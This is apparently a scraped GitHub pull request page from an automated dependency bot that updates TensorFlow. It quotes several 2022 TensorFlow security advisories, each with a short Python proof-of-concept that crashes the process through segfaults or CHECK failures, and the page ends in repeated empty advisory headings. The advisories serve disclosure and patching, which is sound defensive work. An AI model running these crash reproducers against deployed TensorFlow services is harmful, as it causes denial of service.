The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Hui Peng from Baidu Security.

CVE-2022-36027

Impact

When converting transposed convolutions using per-channel weight quantization the converter segfaults and crashes the Python process.

import tensorflow as tf

class QuantConv2DTransposed(tf.keras.layers.Layer):
    def build(self, input_shape):
        self.kernel = self.add_weight("kernel", [3, 3, input_shape[-1], 24])

    def call(self, inputs):
        filters = tf.quantization.fake_quant_with_min_max_vars_per_channel(
            self.kernel, -3.0 * tf.ones([24]), 3.0 * tf.ones([24]), narrow_range=True
        )
        filters = tf.transpose(filters, (0, 1, 3, 2))
        return tf.nn.conv2d_transpose(inputs, filters, [*inputs.shape[:-1], 24], 1)

inp = tf.keras.Input(shape=(6, 8, 48), batch_size=1)
x = tf.quantization.fake_quant_with_min_max_vars(inp, -3.0, 3.0, narrow_range=True)
x = QuantConv2DTransposed()(x)
x = tf.quantization.fake_quant_with_min_max_vars(x, -3.0, 3.0, narrow_range=True)

model = tf.keras.Model(inp, x)

model.save("/tmp/testing")
converter = tf.lite.TFLiteConverter.from_saved_model("/tmp/testing")
converter.optimizations = [tf.lite.Optimize.DEFAULT]

# terminated by signal SIGSEGV (Address boundary error)
tflite_model = converter.convert()

Patches

We have patched the issue in GitHub commit aa0b852a4588cea4d36b74feb05d93055540b450.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Lukas Geiger via Github issue.

CVE-2022-36019

Impact

If FakeQuantWithMinMaxVarsPerChannel is given min or max tensors of a rank other than one, it results in a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf

num_bits = 8
narrow_range = False
inputs = tf.constant(0, shape=[4], dtype=tf.float32)
min = tf.constant([], shape=[4,0,0], dtype=tf.float32)
max = tf.constant(0, shape=[4], dtype=tf.float32)
tf.raw_ops.FakeQuantWithMinMaxVarsPerChannel(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range)

Patches

We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

CVE-2022-36018

Impact

If RaggedTensorToVariant is given a rt_nested_splits list that contains tensors of ranks other than one, it results in a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf

batched_input = True
rt_nested_splits = tf.constant([0,32,64], shape=[3], dtype=tf.int64)
rt_dense_values = tf.constant([0,32,64], shape=[3], dtype=tf.int64)
tf.raw_ops.RaggedTensorToVariant(rt_nested_splits=rt_nested_splits, rt_dense_values=rt_dense_values, batched_input=batched_input)

Patches

We have patched the issue in GitHub commit 88f93dfe691563baa4ae1e80ccde2d5c7a143821.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

CVE-2022-36026

Impact

If QuantizeAndDequantizeV3 is given a nonscalar num_bits input tensor, it results in a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf

signed_input = True
range_given = False
narrow_range = False
axis = -1
input = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_min = tf.constant(-3.5, shape=[1], dtype=tf.float32)
input_max = tf.constant(-3.5, shape=[1], dtype=tf.float32)
num_bits = tf.constant([], shape=[0], dtype=tf.int32)
tf.raw_ops.QuantizeAndDequantizeV3(input=input, input_min=input_min, input_max=input_max, num_bits=num_bits, signed_input=signed_input, range_given=range_given, narrow_range=narrow_range, axis=axis)

Patches

We have patched the issue in GitHub commit f3f9cb38ecfe5a8a703f2c4a8fead434ef291713.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

CVE-2022-35941

Impact

The AvgPoolOp function takes an argument ksize that must be positive but is not

Update dependency tensorflow to v2.8.1 [SECURITY]

637bd0b

renovate bot force-pushed the renovate/pypi-tensorflow-vulnerability branch from 68dc1a6 to 637bd0b Compare August 18, 2024 17:52

renovate bot changed the title ~~Update dependency tensorflow to v2.12.1 [SECURITY]~~ Update dependency tensorflow to v2.8.1 [SECURITY] Aug 18, 2024

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Update dependency tensorflow to v2.8.1 [SECURITY] #331

Update dependency tensorflow to v2.8.1 [SECURITY] #331

renovate bot commented Jul 31, 2024 •

edited

Loading

Update dependency tensorflow to v2.8.1 [SECURITY] #331

Are you sure you want to change the base?

Update dependency tensorflow to v2.8.1 [SECURITY] #331

Conversation

renovate bot commented Jul 31, 2024 • edited Loading

GitHub Vulnerability Alerts

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

For more information

Attribution

Impact

Patches

renovate bot commented Jul 31, 2024 •

edited

Loading